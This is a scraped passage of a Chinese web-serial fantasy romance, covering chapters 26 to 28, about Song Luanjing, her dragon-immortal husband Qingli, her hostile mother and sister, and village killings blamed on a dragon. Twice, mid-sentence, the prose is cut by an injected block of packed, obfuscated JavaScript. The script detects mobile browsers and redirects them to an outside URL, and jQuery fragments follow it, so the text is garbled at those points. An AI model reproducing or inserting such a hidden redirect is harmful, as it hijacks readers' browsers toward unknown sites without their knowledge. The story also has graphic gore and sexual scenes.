“阿鸾,我喜欢你!我心里有你!阿鸾,我想和你白头,想和你长久,想和你生一堆小蛇,想把你……占为己有。想在那些妖物肖想你时,有资格挡在你身前!”
箍在腰上的手臂,越收越紧。
我笑着凝望他,抬手抚上他的俊美容颜……
主动将唇,贴在了他的唇上——
“阿漓,吾亦心仪你。天地为证,日月为鉴。”
阿漓,你会化龙的……
无尽深渊里,是太多人的指责斥骂声——
“仙妖相恋,你会挨雷劈的!”
“你是我族圣女,怎可失了清白!”
“按照族规,你要被绑上祭神台!”
“你凭什么将自己的法力给一个妖!你的法力,只能用在自己的族人身上。”
“既然得不到完整的她,那就,杀了她。”
“人能造仙,也能杀仙!”
冰冷的河水冻得我骨缝酸痛……
我想向上游,却不受控的……越坠越深。
夜里,风摇晃着窗外竹影。
我浑浑噩噩睁眼,依稀见到,窗前有两道衣袂飘飘的高大人影……
“帝君如此不分昼夜地借双修用自身精元滋养着仙子,时日长久,当心损伤本体,帝君的心口,还有旧伤呢。”
“阿鸾离开月阴村太多年,神魂早已虚弱不堪,不用这种方式,本尊担心,她命不长久。”
“那当初,仙子出门求学,帝君为何不设法阻拦?”
“她在月阴村,并不快乐。”
梦里我难受地低喊了他两声。
他立马收住我的腰,将头往我怀里埋埋。
“阿鸾,我在。”
——
李大叔那么一闹,宋花枝**的事也彻底被抖出来了。
村民们虽碍于洗身水的诱惑默许此事翻篇,但一个个心里头还是不由自主地对宋花枝有了成见。
近两天宋花枝都躲在家里没再敢兴风作浪了,我为了不撞到妈气头上去触妈霉头,也乖乖缩在东院避了妈两天。
再见到妈时,是一个风和日丽的下午。
妈坐在院子里的老槐树下,手里拿着一支银花簪子,想事想得出神。
直到我从她面前经过,她才醒转过来,喊了我一声,破天荒地让我陪她坐坐。
我硬着头皮搬个板凳坐在她身畔,陪她一起晒太阳。
以往这种事,都是宋花枝为她效劳的。
她根本,不屑喊我……
而不出意料,我刚坐下,妈就沉沉启唇,找我兴师问罪了。
“两天前,是你和老李一起设
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471120|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
计的吧!”
我心虚狡辩:“我、是恰好撞上。”
我妈嗤笑一声,保养得当的容颜上,隐约还能看见年少时的柔媚风韵。
“别骗我了,那天晚上,你吃晚饭就往老李家跑。在那之前,李银杏也来找过你。
世上哪有那么多碰巧,妈比你多活了二十来年,走过的路比你吃过的盐还多,你的这些小伎俩,简直是班门弄斧。”
我心底重重一沉:“所以,妈这次,想怎么罚我?”
她深呼吸,昂头靠着槐树树干,闭上双目——
手里转着那只品相不大好的旧花簪。
“你知道么,这支簪子,是老李年轻时送给我的。”
我闻言一愣。
妈的这支簪子……我见过两回,一回是小时候,我在妈梳妆台上的妆奁里见到的。
一回,是我十八岁那年夏天,夜里起来方便,却见妈醉倒在槐花树下……
那时,她手里拿着的就是这枚簪子。
隐瞒了这么多年的秘密,今天怎么突然说出来了,还是,和我说的……
我妈闭目缓缓说道:
“那时候我还年轻,他刚搬来月阴村,我听说他曾是玄门中人,就对他颇感好奇。我时常去找他切磋法术,久而久之,我们就互生情愫。
他比我大三岁,心智也比我成熟得多。
年少的我,和他在一起只觉得,很有安全感。他虽来路不明,但人品却是村里公认的好,我和我妈说,我想嫁给他,我妈没有犹豫就答应了。
可惜,我和他的婚期还没定下来,我妈就先一步撒手人寰了。”
我静静听着她的阐述,银花簪在她手里转来转去。
“后来,我们还是无缘走到一起。更过分的是,没多久,他就从外面抱回了李银杏。李银杏的身世,他从没想过向我解释。
再后来,我遇见了你爸,你爸为人憨厚老实,不懂得讨人欢心,但却单纯淳朴,奈何他福薄,是个短命人,你们还没出生呢,他就失足坠崖**。”
我爸的死……不还是您的杰作么?
妈。
银花簪被她收进口袋,她扶额低声说:“过几天就是你爸的忌日,元宝和纸钱我已经提前备好了,就在杂物房里放着,你最近两天有空的话,替我烧给你爸。”
我想了想,颔首答应:“好。”
她又叮嘱:“记得多给你爸烧些元宝,你和你姐姐的名字,都是你爸生前起的……鸾镜与花枝,此情谁得知。”
我心里很不是滋味地嗯了声。
没想到这次我妈拦下我,竟然没有斥责我设计宋花枝。
只是让我去给我爸烧纸。
奇怪,明明在妈那什么事都没发生,可为什么我从妈身边离开后,总觉得心神不宁……
院子里有了大力和大武后,我就没机会再干家务事打发时间了。
青漓上午和我打了招呼,说是要回山上落枫洞一趟,处理点小事。
直至中午也没见他回来……
随便对付了一顿午饭后,我疲倦地趴在紫藤花架下,头昏脑涨地打起了瞌睡。
我在院子里午休,大力大武就坐在井边噼里啪啦地磕着瓜子。
眼睛好疼,像是被火星子灼了一般……
疼到睡死过去,连梦里的我还在揉眼睛。
再抬头,家里的环境已经从白天转换为黑夜了。
我精神恹恹地走进堂屋,忽然听见右边的卧房里……有男女暧昧嬉笑的声音!
我讷讷朝卧房门口走去,推开房门,却见大红的罗帐里,有女人探出一条雪白细长的玉腿……
但下一秒,就被一只熟悉的大手捞了回去。
床榻摇得咯吱响,满屋飘散着不明的腥气……
女人低笑着嗔怪:“哎呦,龙仙大人,你弄疼我了!”
男人沙哑低吟:“小妖精,这就受不了了?”
女人纤长的玉手从内挽起红纱帐,露出一张娇俏潮红的侧颜。
是、宋花枝!
帐内的宋花枝目光挑衅地瞟了我一眼,气喘吁吁地嫣然笑道:“龙仙大人,妹妹回来了……”
可罗帐深处的男人却厌烦地斥责了一句:“回来了,就让她在外面伺候着!不懂规矩的东西!”
寒意从脚底窜上脊骨,我不敢相信眼前这一幕,神使鬼差地走近红罗帐……
想要亲自撩开帘幔,一探究竟。
但,里面的男人竟被我此举彻底激怒——
帘幔掀开那一刻,一条凶神恶煞的血瞳青龙猛地窜出来,朝我张开血盆大口,凶狠威胁:
“滚!你这个令人作呕的丑八怪!再敢来打扰本尊的好事,本尊将你、**万段!”
我腿上一软,被吓得跌坐在地。
心里比恐惧更多的,是难受、心痛……
阿漓,你怎么能骗我呢……
你说过,你只会把命给我……
怎么才短短几天,你就变心了呢。
我不知所措的无助落泪……
失魂落魄地抬手抹脸上泪痕,可,我忽然发现,掌心的那颗青痣、不见了!
我顿时神魂归位,神识清醒过来!
假的,都是假的。
这里是梦,青漓根本没有背叛我,我只是做了噩梦!
意识到真相后,我赶忙从地上爬起来,焦急逃离这间屋子——
一只脚刚迈出堂屋门槛,耳畔就突然传来一声铁盆落地的脆响。
梦里的香艳场景顷刻化为灰烬散去……
我被那声巨响惊醒,身上一颤,睁开朦胧双眼。
定了心绪,才发现是大武不小心弄翻了井边晒南瓜籽的铁盆。
大力大武见我被吵醒,赶忙端着铁盆跑到我跟前,瞪着一双圆溜溜的大眼睛歉意看我。
我拍拍胸脯猛喘了两口气。
擦掉额角的冷汗,伸手接过铁盆放在一边,轻声和他们说:
“没事,我没有被吓到……我刚才、做噩梦了,幸亏你们把我吵醒了。”
大力懂事的立即跑到我身后,力度适中的双手轮流拍打我后背。
大武也冲进厨房倒了杯白开水捧出来,示意我喝下压压惊。
我揉揉大武的扁薄脑袋:“谢谢。”
喝了口水,无奈按揉酸痛的太阳穴。
我这到底是怎么了,为什么最近总是出现这种幻觉……
疲倦地睁开眼,忽然看见几点红光飘浮在我身体周围——
不等我看清那红光到底是什么东西,它们就消散不见了!
第27章 阿鸾一刀捅进了他的心脏!
晚上七点。
青漓还是没回来。
我出门收衣服,却耳尖地听到院门咯吱一声……
像是被谁从外推开了。
自从花枝需要那些男人帮忙修炼后,每晚都会有男人推开我家的院门。
这种情况我早已见怪不怪了。
但,今晚门开后,竟没听见脚步声。
我将两身衣物搭在臂弯上,好奇地迈出东院,想去看看是不是风把院门吹开了。
然而我刚进院子,就听妈的住处咚一声,像有什么巨物撞到了房门上。
我心头一颤,下意识朝妈房间的方向看去……
令我匪夷所思的是……妈屋里亮着灯,目光投过去,一条巨蛇的轮廓就映在木质镂花透白光的窗子上……
我惊讶捂住嘴,尽量放轻呼吸声。
不久,我妈的影子也投在了窗户上。
一人一蛇好像在聊些什么,看画面,还挺和谐。
这些动物仙以往不是来找花枝的吗?今晚怎么进了妈的房间……
宋花枝的住处也传来几道细碎响动,紧接着有人开门,粗犷嗓音在寂静夜幕里尤为刺耳——
“怕什么!管他什么来路,你以后不去招惹他不就得了!你妈在,他还能一口吃掉你吗?”
宋花枝的声音也懒洋洋地从房中传出来,走近男人:“你就是没出息,你不敢招惹他……你的女人被欺负了,你连个屁都不敢放!”
我抱着衣裳赶紧躲回东院。
奇怪,宋花枝房里已经有人了,那条大蛇又是什么情况?
我百思不得其解地回了自己住处,把衣服叠好,再去西边屋子给两个睡得四仰八叉的小纸人盖好棉被。
也不知道今晚青漓还回不回来了。
乡下小山村与大城市不一样,大城市晚上七八点还灯火通明满街巷的烟火味,属于夜生活刚刚开启的黄金时段。
而小山村的马路上连个路灯都没有,晚上太阳一下山,家家户户顶多看个新闻与天气预报就关灯睡觉了。
自从回到乡下老家,我感觉我的作息都正常了许多。
乡下网络差,同城更是信息闭塞,没几条新鲜事能刷。
东院没有电视机,手机流量追剧我又着实心疼,于是我就索性点着灯,打算不等青漓直接睡了……
我赌前院的人不敢半夜三更往这边闯,她们又不知道龙仙在不在家。
所以我就放心大胆地给青漓留了门。
虽然青漓会穿墙,但我总觉得把门闩上,等他回来让他不得已穿墙进来,对他很不尊重……
安心地抱着被子躺在床上闭眼睡觉。
迷迷糊糊地睡着过去,也不知过了多久——青漓才从外回来。
他脱掉外衣,只披了件白绸睡袍,小心翼翼地在我身侧躺下来……
我察觉到他的清凉体温,下意识转身睡进他怀里。
不过,今晚的他,身上怎么有血腥味?
可能是见我已经睡着了,他今晚便没有闹我,只安静搂着我老实阖目入眠。
那股血腥味闻得我有些心里发慌,我抬手搭在他腰上,昏昏沉沉地哑声问他:“怎么现在才回来?”
他低低回答:“在外、处理了几个小麻烦。”
我哦了声,接着问:“没受伤吧?”
他抱紧我:“没有,血是别人的。”
我这才踏实松口气:“那就好。”
稳下心绪,搂着他继续深眠做梦。
——
天亮,我去杂物房拿妈准备好的元宝纸钱,顺手拎了一挂炮仗。
挎上塞满黄纸元宝的小竹筐,我转身,却被妈悄无声息突然出现的身影给吓了一大跳!
妈今天穿着镶满银饰的藏蓝裙袍,头发也高高盘起,左右各簪了一枚精美银凤。
手里捏着檀木念珠,此刻正面无表情的站在门口两眼直勾勾瞪我——
我心神不宁地拧眉喊道:“妈,你怎么来了?”
我妈今天看我的眼神,愈加阴冷,像淬了万尺寒冰。
捻着檀木珠走近我,冷漠问道:“龙仙呢?”
我哽了哽,如实回答:“他一早就出门办事了。”
我妈目光如炬地瞪着我,又问:“昨晚龙仙是不是出门了?”
她突然问这个,是要做什么?
我想了想,留了个心眼,摇头:“没有,龙仙一直和我在一起。”
我妈闻言却冷哼一声,不屑地用眼角犀利余光瞟我:“你最好、说的是实话!”
言罢,拂袖转身扬长而去。
我妈今天是怎么了,她身上穿的是象征族长身份的鸾凤长袍,头发也梳得一丝不苟,连压箱底的双凤流苏发簪都戴上了……应该是刚和村里人开过早会。
但,月阴村只有在村里发生什么惊天动地的大事时,才会集体来找族长开早会。
事态越严重,早会的时间越早。
现在才上午八点不到。
村里是发生了什么吗?和青漓有关?
我一头雾水地挎着竹筐出门,刚离家不到两里路,就迎面撞上了带孙子的金大娘……
我正想上前打招呼,谁知金大娘见到我却像碰到了鬼似的,牵着小孙子扭头就跑!
怎么看样子,比前段时间,我刚把龙仙带下来那天,龙仙陪在我身边时,她们还要怕我?
我很不能理解,龙仙都下山好几天了,她们难道还不适应?
之后我又遇见了张家大娘,刘家婶子,甚至村长老婆……
她们的反应都和金大娘一样,看到我像是遇见了怪物,对我避之不及。
我总觉得,今天这一路上,都充斥着诡异的氛围……
直到,我撞上扛着铁锹刚从田里回来的赵二!
赵二看见我的那一瞬也双腿打抖,只不过他的反应没前面几位大娘夸张,只是低下头不敢直视我,脚底生风的着急与我擦肩而过。
“赵二哥!”我手快地一把拉住他胳膊,他一惊,吓得肩头铁锹都没扛稳,哐的一声掉在了石子路上。
慌促把胳膊抽回去,赵二弯腰捡起铁锹,脸色煞白地连忙道:
“我不要你的镯子了!上次,是花枝怂恿我来找你拿镯子的……我只是想向她证明我不是废物!对不起,对不起鸾妹,都是我不好,我狼心狗肺,我辜负了你!”
他说着还目露恐惧地狂扇自己大嘴巴子……
我更加分不清状况了,皱眉开门见山的问:
“我只是想知道,你们今天为什么看见我,都那么害怕!村里到底发生什么事了?你们之前不是已经不怕我了吗?”
我前天出门洗衣服,金大娘还冲我笑了呢!
赵二僵住手上动作,双眸浸血地昂头不可思议问我:“你、还不知道?”
我快要被他绕晕了:“知道什么?”
赵二将铁锹**石子路的泥土缝隙里,抬起手臂擦掉额角紧张渗出的冷汗,猛吞了口口水和我神神秘秘地小声说:“昨晚,前头的陈家湾村,有人被妖怪吃了!”
“妖怪?”我怔住:“什么妖怪?”
赵二为难地看着我:“据旁观者说……是条大青龙!”
大青龙?
青漓?
赵二提心吊胆地接着说下去:“那场面,实在太可怕太血腥了,青龙先是一口咬断人的脖子,再一口将人上半身齐腰咬掉,然后才吃的双腿……那骨头嚼得,嘎嘣响!”
昨晚,青漓回来,身上好像的确带着血腥味……
“吃了好几个呢!前一阵陈家湾村就时常有村民失踪,昨晚是他们村的张秃子趁夜出门下渔网,正好撞上那条龙。
因为夜不深,张秃子的惨叫就惊醒了附近的村民,村民们拿着工具去打那条青龙,结果不但没把青龙打跑,还惹怒了青龙,好几个过去帮忙的男青年都被青龙给咬**……”
赵二说完,颤颤巍巍地打量着我的脸色:
“今天一早,陈家湾村的人就来清河村与月阴村报信了,让我们近来都当心些,尽量不要晚上出门……不然遇见那条大青龙,就只有死路一条了……”
我沉重启唇:“所以你们怀疑,那条大青龙,是青龙仙?”
赵二怯怯往后退了半步:“我们也不是怀疑,主要是,昨晚陈家湾村的人都看见了,那条大青龙吃完人就往咱们村这个方向跑了。
咱们村里的大青龙,不就只有、龙仙吗?早上陈家湾村的村长直接气冲冲的来找族长要交代,族长好说歹说,才把他们打发走。”
说完,赵二又不怕死地假装关心我,伸手要牵我的手,却被我及时嫌弃避开。
赵二尴尬一顿,说:
“鸾妹,我知道你从来最懂感恩,龙仙救了你,又对你好,你感激他。可,二哥还是想提醒你一句,龙仙再怎么说,也不是个正常人类,他是畜生……他劣性未除,他可是会**的!”
我听得一阵心烦气躁,没好气地反怼回去:“他不是**的妖怪!他没有做那些事!你们没有证据就怀疑他,往他身上泼脏水,这是污蔑!”
赵二也急了:“什么叫做没有证据,昨晚陈家湾村的人都亲眼看见了!何况,你离他这么近,他昨晚去哪了……你能一点也不知道?
你说我们污蔑,我们还觉得你包庇呢。
鸾妹,你不要忘记了你也是我们月阴村九黎族的人,没有我们月阴村,谁把你养到这么大?
没有我们全村上下三百年的香火供奉,你早就**!
鸾妹,你听二哥一句劝,离那只龙仙远点,他今天能吃陈家湾的人,明天就能吃咱们月阴村的人,后天就能吃你!”
“我再说一遍,**的不是龙仙!不是他!”我生气地一把扯开自己的衣领,露出肩上的暧昧红痕,咬牙红着眼和赵二说:“是,龙仙昨晚去哪了,我最清楚,龙仙昨晚一整夜都和我在一起!这就是证明!”
赵二看见我肩头的绯红,不由僵住。
我深呼一口气,身上发颤地将衣领拢好,愤怒道:“回去告诉村长和其他村民,龙仙是清白的,我作证!”
拎上竹筐,我将愣神的赵二扔在原地,大步流星地往山上去。
青漓……不会**!
我信他!
我爬上山坡向阳面,找到了属于爸的那座矮小坟墓。
爸的坟前,甚至连个碑都没有。
只有我和姐姐四岁那年来给他上坟时,一起种下的那棵柳树……
记得当年,我妈第一次带我和姐姐来爸坟前磕头。
我妈指着爸的小土坟,告诉我们爸就躺在那个坟茔里——
姐姐天真问妈:“爸爸睡在土里,不会被虫子咬吗?”
妈无情戳破真相:“你爸**那么多年,肉都烂没了,只剩下一具骨头了!骨头还怕虫子咬吗?”
姐姐委屈啊了声:“爸爸,会疼吗?”
妈面无表情地点燃黄纸:“**以后,就不疼了。”
“爸爸为什么会失足落崖……”
“因为他命不好,倒霉!”
姐姐努了努嘴,随后拉住我的手,和我说:“爸爸这边好孤独啊,妹妹,我们去挖棵小树种在爸爸坟前吧?”
我赞同点头:“好啊!”
我们在山坡上挑了好久,才挑中一棵青翠好看的垂柳。
姐姐刨地,我拔树。
后来,我俩齐心合力将柳树种在爸爸的坟前。
那时候姐姐拉着我的手和我喋喋不休:
“小树小树快长大,长大了就能给爸爸遮太阳。”
“妹妹你说,等很多年以后,这棵柳树会不会长得特别特别高,和门口那棵柳树一样茂盛?”
“妹妹,我们拉钩,以后每年都要一起来看爸爸。”
打火机将花开的黄纸点燃。
我看着爸爸坟前的老柳树,心底一阵酸涩。
不记得从什么时候开始……
每年就只剩我一人过来看爸了。
我像往年那样,边给爸烧纸,边絮絮叨叨同爸讲这一年来,家里发生的所有事——
“花枝成了守族仙,却被长生媚术反噬,现在妈又教授了她另一种媚术,虽然不能保人长生,但却可以保人容颜不再衰老……
妈,也一切都好,只是我和花枝不让她省心。村子里,这几年的变化很大。
爸,如果你还在,花枝是不是就不会变成现在这个样子……明明,姐姐小时候,也很疼我……”
风卷起燃烧的黄纸,元宝被火焰吞噬,冥钱在火堆里疯狂翻飞。
一缕青烟袅袅升起,蜿蜒落在我肩头,像父亲的手,轻轻抚摸我肩膀……
我低头焚烧着纸钱,烧着烧着,眼泪就止不住地掉了下来——
“爸,就因为我是骨仙转世,所以我怎么讨好妈,妈都不会喜欢我对吗?”
“可我也是你们的亲女儿啊,从小我就羡慕姐姐能得到妈妈的所有宠爱,而我,只要妈能偶尔给我一丁点爱,我就心满意足了。”
“现在,一丁点,也没有了。”
“爸,青龙仙对我很好,他的怀抱,很有安全感……我只有他了,所以,如果以后我因为他而冲动做出什么不好的事,爸你别怪我。”
“爸……”
我低头呜咽,抹着眼泪,抬起婆娑视线……
却恍惚见到——
一名身穿蓝布衣裤的年轻男子,身影模糊地站在我面前,弯腰轻抚我的脑袋。
眼底蕴满慈爱的光。
“爸……”我没忍住,昂头望着他,哭得更厉害了。
——
给爸烧了一竹筐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477566|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的黄纸冥钱与元宝,我临走又把爸坟边的荒草清理了一遍。
一个人无聊地吃了午饭。
下午,我趴在紫藤花架下打瞌睡,望着在院子里互相比划过招的大武大力,疲惫地打了个哈欠……
我家这位龙仙性子未免太野了,现在都学会成天不着家了!
陈家湾村的人……真的是他杀的么?
不,龙仙是仙家,他如果真的**未除暴戾凶残,当初收拾红煞的时候,他完全可以一掌打得红煞魂飞魄散,根本没必要费力气送红煞去轮回……
连银杏和李大叔都能瞧出青漓是好人,我凭什么不信他。
等他晚上回来,我一定要找他问清楚。
趴在桌上没多久,我就昏昏沉沉地睡着了过去……
不多时,在院子里打闹的大力大武突然没声了。
额头一阵冰凉,黏糊糊的,像被什么东西的舌头舔了两口——
“真不愧是骨仙转世啊,这通体的灵气……可真是馋死我了!”
女人的妩媚笑声回荡在耳边,片刻,笑声戛然而止。
像有一股力撞了下我……
却没撞动,又被弹了回去……
“神光、护体?呵,真是越来越有趣了!没想到,你前世早已成了神?不过那又如何!你的元神还甚是虚弱,这区区护体神光,挡不住我的!”
那股力再次撞进我的身体。
这回震得我心跳紊乱,神魂俱颤!
恍惚间,我好像走进了陈家湾村……
满目俱是断井残垣,坍塌的房屋,被飓风拔起的大树——
地上,血流成河,横七竖八躺着无头死尸。
我不敢置信的一步步,踉跄往前走。
却见一间敞开的土坯房堂屋里,青龙徒爪扒开孕妇的肚子,逃出血淋淋的婴儿。
女人虚弱地倒在地上,哭着哀求他放过自己的孩子……
可他,却当着女人的面,一口吞掉婴儿。
獠牙将婴儿嚼碎。
青眸里,携着洋洋得意的挑衅。
这一幕,残忍又血腥,令人恐惧,且想作呕……
我捂住嘴,浑身发颤地紧盯着这一幕——
心像被一只大手狠狠攥住,勒得我喘不过气来。
那条青龙还要对奄奄一息的女子下手,我看不下去地鼓起勇气大步跑向他,从后抱住他的庞大龙尾——
“阿漓!阿漓你清醒点,阿漓,别再**了!”
我搂住他嚎啕大哭,可他待我,却没了往日的柔情。
一个摆尾就将我扔飞了出去。
我顿时失重撞在了土坯墙上,强烈的撞击震得我心脏都差些骤停了……
“滚!你算什么东西,也敢阻拦本尊!”
我被土坯墙弹撞摔在地上,撞出一口血。
艰难昂头,我张开含满腥血的嘴,泪眼朦胧地朝他伸手:“阿漓、阿漓……不能**!阿漓!”
可他还是当着我的面,一口咬掉了女人的头颅。
女人脖子断面上的动脉血溅了我一脸……
我怔怔愣在地上,不等我缓过神,他又不知从哪抓来一个小男孩,张开血盆大口就要吃他果腹——
“阿漓!”
我强忍住体内撕心裂肺的疼痛,从地上爬起来。
赶在他吞掉小男孩的前一秒,用手挡住了他的下颌,把小男孩从他的龙爪下抢过来,抱在自己怀里。
“阿漓,求求你别再**了!”我大哭着祈求他,企图能唤醒他。
可他,却朝我呲牙,一怒之下一掌拍飞了我。
强劲的掌力重击我的腹部,打得我身下流血……
我再次重重摔在地上,再抬头,小男孩已经被拎起来生吃了……
男孩的哭声还回荡在他的口腔,他嘴边蓄满血沫。
“怎么会变成这样,阿漓,你不是这样的仙家!阿漓,你清醒过来啊,我是阿鸾啊……”我趴在地上痛哭涕零。
他冷漠瞟我一眼,缓缓出了土坯房屋……
“人,都该死!”
“你越是阻拦,不希望他们死,本尊,就越想尝尝他们的味道。”
“阿鸾,我是龙,我当然会**。”
“娶你,只是玩玩而已……”
见他还要出门去**,我吊着最后一口气追上去,虚弱撞在他背上,用力搂住他的龙身——
“虽然我不知道你为什么突然性情大变,但阿漓,我不会放弃你,你一定要醒过来,阿漓,不能再造杀孽了!”
“阿漓,你如果实在想**,就吃了我吧……”
“阿漓,你是仙家啊!你是龙仙大人!”
我伏在他背上泣不成声……
可就在此时,我的头顶突然传来一声声女人的温柔蛊惑——
“杀了他,他是**的妖魔,他是妖!”
“宋鸾镜,妖**,就该死,你杀了他,快杀了他,为民除害啊!”
我摇头嘶声反抗:“不!我的阿漓不是这样的!他不会**,不会……”
那声音忽笑起来,揶揄道:“没想到啊,区区凡人,意志力如此坚定……这般迷惑,都不能让你亲手杀了他……”
“没关系,我有的是时间,陪你慢慢耗。”
再睁眼,那条青龙又残忍生吞了两个无辜村民。
我手里突然多出一把**,头顶的声音告诉我:
“想阻止他**?可以,要么,你拿着这把刀自尽,要么……捅死他!”
“你死,或者他死,这个世界,都能恢复正常。”
我愣愣看着面前无比血腥的一幕幕……
握紧**,心中已经有了答案。
阿漓,叫不醒你,我就把命……还给你!
我抓起**就要抹脖子……
但,刀口划破脖上皮肉的那一瞬,我陡然想起……
这个阿漓,眉心没有朱红印记!
真正的阿漓,无论蛇身还是龙身,眉心都会保留那抹红痕。
我如释重负地轻笑一声……
紧接着抓起**,毫不犹豫地向那条青龙刺过去——
****青龙胸口血肉。
青龙震惊抬眸,“为、什么……”
我咬牙狠狠道:“你**、就该死!”
冒充阿漓**,更该死!
幻境中的世界瞬间破碎崩塌,飘零散去——
可耳畔的女子声却轻笑得意道:
“意念坚定又怎样,凡人,玩得过我么?死青龙,让你尝尝被心爱的女人扎上一刀的滋味!”
眼前一片黑漆漆。
青漓的声音忽在耳畔,不可思议地响起:“阿鸾……”
“帝君!”
我身子一软,瘫倒在他怀里。
有人要拽开我,却被他冷声训斥:“别动她!”
“可她,一刀捅进了您的心脏啊!”
第28章 阿鸾,你还是想杀我
“阿鸾,是中了幻术……本尊,不怪她。”
“阿鸾,醒过来……”
他的手温柔抚摸我的脸庞,微凉的一个吻落在唇角……
“阿鸾,若我是**的龙妖,你还爱我么?”
“阿鸾,你想、让我死?呵,让我死,何须用刀。我的命,早便被你攥在掌心了。”
他的声音里无限悲凉,似是受了天大的委屈。
听得我心脏紧揪。
阿漓,我怎么会想让你死……
哪怕你真是**的龙妖——我也不会杀你。
顶多,拦不住你,就把命还给你。
入夜,我迷迷糊糊睁开眼,竟恰好见到他将染血的衣物丢掉,施法用火焚烧干净……
窗前有道庞大的蛇影小幅度蠕动身躯,口吐人言:“那些人,还是把事闹到了鸾镜仙子面前,真是可恶!不如,我去吃了他们!”
青漓站在床头,重新披上一件干净玄袍,冷声命令:“没有本尊的允许,不可轻举妄动。”
“帝君,你为何要将换掉的衣物烧了?”
“阿鸾嗅觉灵敏,被她闻见,她会怀疑……此事,暂不能让她察觉。”
血、怀疑、不能让我察觉?
陈家湾那些人,真是青漓吃的?!
好端端的,青漓为什么会**……
是有什么难言之隐吗?
我心情压抑地闭上眼,浑浑噩噩再度晕死过去。
这一晕,直到第二天清晨,鸟雀在窗外叽叽喳喳叫个不停,天灰蒙蒙渐大亮,我才睁开眼,睡足了醒过来。
他今天没有赶早出门,我清醒时,他还低头窝在我的胸口睡得沉沉……
一头银发似水挽在我的臂弯上,我心情复杂地将他往怀里抱紧些,抬起雪白臂膀,手指轻轻为他捋顺凌乱的几根发丝。
以往我早上醒来,都是我躺在他的手臂上,枕着他的心跳。
今天的他,却一反常态,像只受了委屈的小兽,趴在我心口酣睡。
被子歪斜地搭在我腰上,我上身只穿了件白色绣杏花的吊带,身体与手臂压皱了他身上墨衣。
想起昨晚他和那道蛇影的对话,我心情愈发沉重。
阿漓,为什么要**呢?
你知不知道,你吃了人,月阴村与陈家湾村的人就再也容不下你了……尤其是我妈,她会对你下手的!
我和她们住在同一个屋檐下相处了二十来年,对她们的性格再了解不过!
我妈明着斗不过你,可她肯定会暗地里对你耍阴招。
她这个九黎族族长的名号,可不是划水吹出来的……
我温柔抚着他的似水长发,他被我动作扰醒,慵懒睁开青眸昂头看了我一眼,紧接着又箍紧我的腰肢,继续趴在胸口闭目养息。
“阿鸾,早。”
我浅声乖乖回应了句:“早……”
听他再无动静,我有些犹豫,沉默了一阵,还是没忍住问:“阿漓,你昨天、去哪了?”
他窝在我怀里,呼吸一滞,哑着嗓音淡淡道:“回落枫洞处理了一些事,夫人想问什么?”
我哽了哽,心猿意马:“昨天,陈家湾村有龙妖**,你知道么?”
他安静许久,才嗯了声。
我焦急追问:“和你……有关吗?”
他这次又静了好几分钟,缓了缓,从我怀里出来,脑袋枕回枕头上,垂眼看着我,伸手轻轻摩挲我的脸颊——
“阿鸾,若和我有关,你会为民除害,杀了我吗?”
杀了他?
怎么可能!
我捉住他的手,心乱如麻:“阿漓,不管是不是你……别做傻事。阿漓,你不是怪物,你是龙仙,就当是为了我,答应我,别把自己陷入险地。”
他闻言,却捞过我的后脑勺,勾唇吻了下我的眉心:“放心,本尊不会给你杀了本尊的机会。阿鸾,你要相信本尊。”
我听见这话,不知道是该继续担忧,还是该放下心……
他要我相信他,那潜意思就是告诉我,不是他吃的人?
对,昨晚那些话说得模棱两可……
也许,他们是在说旁的事,和陈家湾村无关!
只要他说不是他,我就信!
上午,青漓又消失了,这次消失并没有提前和我打招呼。
我屋前屋后找不到青漓,总觉得心里乱糟糟的。
我该相信他,可这么多证据指向他……我还是害怕,怕噩梦成真。
陈家湾的事李大叔也知道了,银杏一早特意赶来找我,给我传达她老爹的意思——
“昨天晚上,陈家湾村又倒霉了三个人,我爸昨儿为了弄清事实,特意留在陈家湾村守了一天一夜。
但怪的是,那只妖物像是故意在避着我爸,夜里我爸听见动静追过去时,地上只剩下三滩血迹了。
我爸说,空气中的确残留着水底灵物的气息,我爸让我过来问你……昨晚龙仙、什么时候回来的?”
李大叔也怀疑到青漓身上了……
我摇摇头,“不记得了,昨晚我休息得早,他好像,半夜才回来。”
银杏托腮陪我蹲在院子里,叹口气道:
“我爸也不希望**的是龙仙,只是现在整个陈家湾村的人都咬****的妖物是月阴村的青龙仙,而且青龙仙这两天恰好总不在家……令人不得不怀疑啊!”
我还是不肯相信:“阿漓不是那种性情残暴的动物仙。”
银杏歪头看我,噘着嘴:
“他在你眼前当然不会暴露出残忍可怕的一面,再怎么说,他也是动物仙,动物仙的本性就是狠戾狂野!而且,我听我爸说漏嘴讲……龙仙当年是真干过屠村的事!”
我暗暗攥紧手,“在没有确切证据的情况下,就算你们怀疑阿漓,我也不能不分青红皂白就将**的脏水泼在阿漓身上,我问过阿漓龙妖**的事,阿漓让我相信他!”
银杏抿了抿唇:
“我也觉得,龙仙老爷虽然脾气差了点,但、应该不可能凶残到**那个地步。
不过,我爸又说了,是不是龙仙吃的人,只有龙仙本龙心里最清楚,也有可能是其他妖物为了报复龙仙,变成龙仙的样子在陈家湾为非作歹……
可惜,眼下他抓不到**的恶龙,还不能彻底弄清真相。”
我想了想,抬头,抱着一丝希望问道:
